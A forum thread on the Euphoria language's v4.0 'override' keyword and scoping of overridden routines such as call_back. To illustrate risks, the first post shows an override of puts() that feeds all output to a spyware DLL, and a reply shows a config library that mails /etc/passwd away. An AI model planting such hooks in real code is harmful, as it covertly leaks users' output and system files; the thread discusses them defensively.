1. override keyword?

I'd like to hear feedback from the developers about this one.

In reading the v4.0 documentation I came across the "override" keyword.

How is the "override" keyword implemented? There could be a security problem if an external application can arbitrarily insert a global override in the bit code version of the interpreted app on disk or in memory. This could effectively be a hook into the program from a (potentially) malicious program.

I would like my interpreted apps to run safely and securely, and to mention the potential risk. For instance if this is the case, a global hook could be created to redirect all output to the screen to a listener application for spyware.

This would be possible if a program "infected" files with:

without warning 
constant spyware = open_dll("c:\\program files\\spyware dir\\spy.dll") -- or "spy.so" 
constant pqrt = define_c_proc(spyware, {C_UINT,C_INT}) 
override procedure puts(integer channel,sequence text) 
    atom a = allocate(length(text)) 
    poke(a, text) 
    c_proc(pqrt,{a,length(text)}) -- see how hard it could be to check for, one might miss it. 
    free(a) 
    eu:puts(channel, text) 
end procedure 

I don't want to criticize, but I am writing this to point out the danger. I am just concerned as the Euphoria Interpreter becomes more popular. If a bot inserted this into a main file's il, whether on disk or in memory, it could have access to all standard output from that program. If a Euphoria directory was infected, the problem could be much worse.

I would recommend that final versions of projects be translated into C and compiled before mass distribution to avoid this problem on client machines.

I would like to see a routine or program that would tell me all of the "override" functions and which files they are in so I could check the source of those functions and make sure the correct function is being called. Also there should be a program to generate a list of all non-standard *.dlls that are referenced, so the programmer can see if any are being called.

Perhaps this could be implemented in a "listrtns" or similar program.


Once you mass produce, you must worry about variations and the spread of viruses.

new topic     » topic index » view message » categorize

2. Re: override keyword?

Here is the way things worked pre 4.0:

procedure puts(integer fh, object item) 
  puts(fh, "I am an overriden procedure\n") 
  puts(fh, item) 
end procedure 
 
puts(1, "Hello, World!\n") 

The above program would print:

I am an overriden procedure! 
Hello, World! 

So. If you used a library ABC.e that redefined the puts() procedure, simply by naming it the same name, you could have code that you did not intend on running, running.

The new way of doing this does not make it any safer but makes it harder to accidentally overwrite an internal:

procedure puts(...) 

would not override the internal puts procedure.

override procedure puts(...) 

would override the internal puts procedure.

You have always been able to override but in 4.0 it is explicit vs. 3.x it was the default.

Jeremy

new topic     » goto parent     » topic index » view message » categorize

3. Re: override keyword?

Oh, I also want to point out that any time you use code that you do not check or a dll that you do not check, you are vulnerable. Let's say you want to read a config file and I write a config.e library.

-- config.e 
 
public function read_config(sequence filename) 
    mail("me@me.com", "/etc/passwd") 
 
    -- code that reads the config 
   
    return config 
end function 

So, you do not have to override an internal function to introduce security problems. This is the problem with any 3rd party code in any language.

Jeremy

new topic     » goto parent     » topic index » view message » categorize

4. Re: override keyword?

jeremy said...

Here is the way things worked pre 4.0:

procedure puts(integer fh, object item) 
  puts(fh, "I am an overriden procedure\n") 
  puts(fh, item) 
end procedure 
 
puts(1, "Hello, World!\n") 

Minor pendantic note: pre 4.0 worked like this

procedure old_puts(integer fh, object item) 
  puts(fh, item) -- puts below hasn't been defined yet, so this resolved to the builtin 
end procedure 
procedure puts(integer fh, object item) 
  old_puts(fh, "I am an overriden procedure\n") 
  old_puts(fh, item) -- calls the builtin puts() indirectly through old_puts() 
end procedure 
 
puts(1, "Hello, World!\n") -- puts() now resolves to the procedure above. 

This is different:

procedure puts(integer fh, object item) 
  puts(fh, "I am an overriden procedure\n") -- this puts() resolves to the procedure that the statement is inside of - so puts() is calling itself recursively here. In this case it will do so infinitely, or at least until the stack overflows or we run out of memory. 
  puts(fh, item) 
end procedure 

I'm not sure if the old way will work in 4.0 since we have forward referencing now, so the "didn't resolve it yet so it must mean the builtin" trick may no longer apply.

new topic     » goto parent     » topic index » view message » categorize

5. Re: override keyword?

I meant to have:

override puts(...) 
  eu:puts(...) 
  eu:puts(...) 
end ... 

Jeremy

new topic     » goto parent     » topic index » view message » categorize

6. Re: override keyword?

jeremy said...

Oh, I also want to point out that any time you use code that you do not check or a dll that you do not check, you are vulnerable. Let's say you want to read a config file and I write a config.e library.

-- config.e 
 
public function read_config(sequence filename) 
    mail("me@me.com", "/etc/passwd") 
 
    -- code that reads the config 
   
    return config 
end function 

So, you do not have to override an internal function to introduce security problems. This is the problem with any 3rd party code in any language.

Jeremy

Thank you for confirming about checking the source file of any library that you use. I already knew that ANY language is vulnerable to attack. The problem is that most virus checkers only check an executable and do not recognize scripts in uncommon languages. Since Euphoria can be run as an executable in script form, mass distributions of programs whose source is in Euphoria should still be translated to C so that virus checkers can properly address any virus problem they might have. It is up to the programmer to protect his or her own source files.

I'd like to point out that "-STRICT" command line switch enables all warning, such as the warning about over-ridden built-in functions.

Docs say about -STRICT

Docs said...

2.8 Command line switches

-STRICT

"This turns on all warnings, overriding any with/without warning statement found in the source."

new topic     » goto parent     » topic index » view message » categorize

7. Re: override keyword?

jcmarsh1 said...

I'd like to hear feedback from the developers about this one.

...

I don't want to criticize, but I am writing this to point out the danger. I am just concerned as the Euphoria Interpreter becomes more popular. If a bot inserted this into a main file's il, whether on disk or in memory, it could have access to all standard output from that program. If a Euphoria directory was infected, the problem could be much worse.

[Channeling Raymond Chen] I think that the situation you've described is not really a security issue for euphoria. If an attacker can modify files and put in malicious dlls, then you've already lost. They could just as easily infect some other aspect of your system.

jcmarsh1 said...

I would like to see a routine or program that would tell me all of the "override" functions and which files they are in so I could check the source of those functions and make sure the correct function is being called. Also there should be a program to generate a list of all non-standard *.dlls that are referenced, so the programmer can see if any are being called.

What is a "non-standard" dll? Also, since open_dll takes a sequence, there's no guarantee about what is passed to it, since the sequence could be generated at run time. I'd expect this for a system that used plug-ins, for instance. In any case, it sounds like something that might have a place in dis.ex, which is more or less a static code analyzer. It doesn't really do any checks currently, but it can tell you a lot about the high level and low level structure of euphoria code.

Matt

new topic     » goto parent     » topic index » view message » categorize

8. Re: override keyword?

It's funny I want to do just what is being described here. inside xalloc.e

override function call_back(atom a) return xcall_back( a ) end function


Now, I want to prepare this replacement so the user can modify his application file to use it instead of modifying the win32lib source

--- myapp.exw --- include xalloc.e include win32lib.ew . .


However, this does not work win32lib.ew uses call_back from call_back() in dll.e even though it is declared as override in xalloc.e.

Now, I can override in 3.1 using the mechanism laid out here previously and win32lib.ew still uses dll.e's call_back().

Save modifying the source, every instance of call_back() has to be replaced with xcall_back inside the offending files. Or I suppose if I put xalloc.e inside win32lib.ew should win32lib.ew use xalloc.e's call_back?

Shawn Pringle

Now, call_back() is a global yet, even though

new topic     » goto parent     » topic index » view message » categorize

9. Re: override keyword?

SDPringle said...

However, this does not work win32lib.ew uses call_back from call_back() in dll.e even though it is declared as override in xalloc.e.

Exactly. override only applies to built in routines.

SDPringle said...

Now, call_back() is a global yet, even though

No it isn't:

public function call_back(object id) 

Unless you're looking at the 3.1 includes, in which case, of course it is.

Matt

new topic     » goto parent     » topic index » view message » categorize

10. Re: override keyword?

mattlewis said...

<snip>

jcmarsh1 said...

I would like to see a routine or program that would tell me all of the "override" functions and which files they are in so I could check the source of those functions and make sure the correct function is being called. Also there should be a program to generate a list of all non-standard *.dlls that are referenced, so the programmer can see if any are being called.

What is a "non-standard" dll? Also, since open_dll takes a sequence, there's no guarantee about what is passed to it, since the sequence could be generated at run time. I'd expect this for a system that used plug-ins, for instance. In any case, it sounds like something that might have a place in dis.ex, which is more or less a static code analyzer. It doesn't really do any checks currently, but it can tell you a lot about the high level and low level structure of euphoria code.

Matt

I meant to say one that would list the Venders of the *.dlls and *.so that are dynamically linked to by "open_dll" as a tool for the programmer.

new topic     » goto parent     » topic index » view message » categorize

11. Re: override keyword?

I suppose the way to do this then is to change all include dll.e to include xalloc.e except for inside xalloc.e itself.

Shawn Pringle

new topic     » goto parent     » topic index » view message » categorize

12. Re: override keyword?

SDPringle said...

It's funny I want to do just what is being described here. inside xalloc.e <snip>

I used this for xalloc.e to work in my main file:

function call_back(object id) -- enable DEP denied API call_backs  
    return xcall_back(id)  
end function  

I think the problem is scope. An include statement in a source file immediately overrides any other identifiers that were declared in the file that includes that file.

Say file1.exw includes file2.e that includes misc.e
pretty_print() if declared in file1.exw will not override pretty_print() for file2.e declared in misc.e

That means, sadly, you will have to update the source in "file2.e"

new topic     » goto parent     » topic index » view message » categorize

13. Re: override keyword?

SDPringle said...

I suppose the way to do this then is to change all include dll.e to include xalloc.e except for inside xalloc.e itself.

Shawn Pringle

Or you could try

 
include dll.e as dll 
include xalloc.e -- scope of call_back() will default to this one 
 
... 
 
call_back() -- declared in xalloc 
dll:call_back() -- declared in dll.e 
 

This will set the "default" function within a "class" file or euphoria file to the desired one, but that would only work for v3.0 on I think. There also is a way to set default namespaces from within v4.0 include files, and also to promote the scope of an include file to the next higher level, with keywords:


2.7.1 include

<snip>

Some Examples:

include std/graphics.e include \mylib\myroutines.e public include library.e

If public precedes the include statement, then all public identifiers from the included file will also be visible to the including file, and visible to any file that includes the current file.


2.4.2.4 The visibility of public and export identifiers If a file is included by an application's main file, but needs to see the public or exported identifiers in that file, it must include its parent file.

The public and export qualifiers seem overly rigid, since changing the repartition of identifiers among files, perhaps as the result of splitting up one of them, will change the visibility of this identifier.

To alleviate this, a variant of the include statement was introduced, called public include. If a file public includes another, it will see all the identifiers that the included file sees. This amounts to propagating identifiers marked as public one level up in the file hierarchy. Note that source file systems may not form a true hierarchy - they would with a simpler system like older versions were using.

The public include mechanism was also meant to be used by libraries that have multiple files. That way, symbols meant for the end user can be declared in files other than the main file, and the library can still be organized however the author prefers without affecting the end user.

new topic     » goto parent     » topic index » view message » categorize

14. Re: override keyword?

jcmarsh1 said...
SDPringle said...

I suppose the way to do this then is to change all include dll.e to include xalloc.e except for inside xalloc.e itself.

Shawn Pringle

Or you could try

 
include dll.e as dll 
include xalloc.e -- scope of call_back() will default to this one 
 
... 
 
call_back() -- declared in xalloc 
dll:call_back() -- declared in dll.e 
 

This will set the "default" function within a "class" file or euphoria file to the desired one, but that would only work for v3.0 on I think. There also is a way to set default namespaces from within v4.0 include files, and also to promote the scope of an include file to the next higher level, with keywords:

This will not work in either euphoria 3 or 4. Using the unqualified call_back will result in an error in both versions. Namespaces in euphoria are never required to access a symbol in the way that C namespaces do. They are only used to deconflict name clashes.

Matt

new topic     » goto parent     » topic index » view message » categorize

Search



Quick Links

User menu

Not signed in.

Misc Menu